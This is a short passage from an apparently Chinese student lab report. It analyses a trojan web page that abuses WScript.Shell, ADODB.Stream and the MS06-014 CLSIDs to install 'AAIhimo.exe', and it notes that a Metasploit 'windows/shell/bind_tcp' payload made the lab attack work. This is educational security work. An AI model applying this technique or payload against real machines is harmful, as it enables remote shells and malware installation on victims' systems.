通过对代码的分析。发现在NOGLS(o,n)函数中,攻击网页使用了"WScript.Shell"和"ADODB.Stream"漏洞,并将"AAIhimo.exe"安装到了靶机上。

打开靶机任务管理器,查看正在运行的进程,发现确实存在"AAIhimo.exe"的进程。

发现代码中有"'{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}'"字段。通过查阅资料得知其中的"BD96C556"属于MS06-014漏洞。

3 学习中遇到的问题及解决

本次实验难度较大,步骤繁琐,理论晦涩。需要我们用更多的精力去学习。

2.1节中,攻击不成功,"set payload windows/shell/bind_tcp"设置payload。才可以攻击成功。

4 学习感想和体会

通过本次实验,我学习了浏览器安全攻防的基本原理和方法。更加熟悉使用了各种Web网络攻击漏洞和工具。提高了网络安全意识,特别是对木马网页危害的认识。也提高的自我学习的能力,让我受益匪浅。

posted @ 2022-05-27 10:51  戈壁胡杨  阅读(71)  评论(0编辑  收藏  举报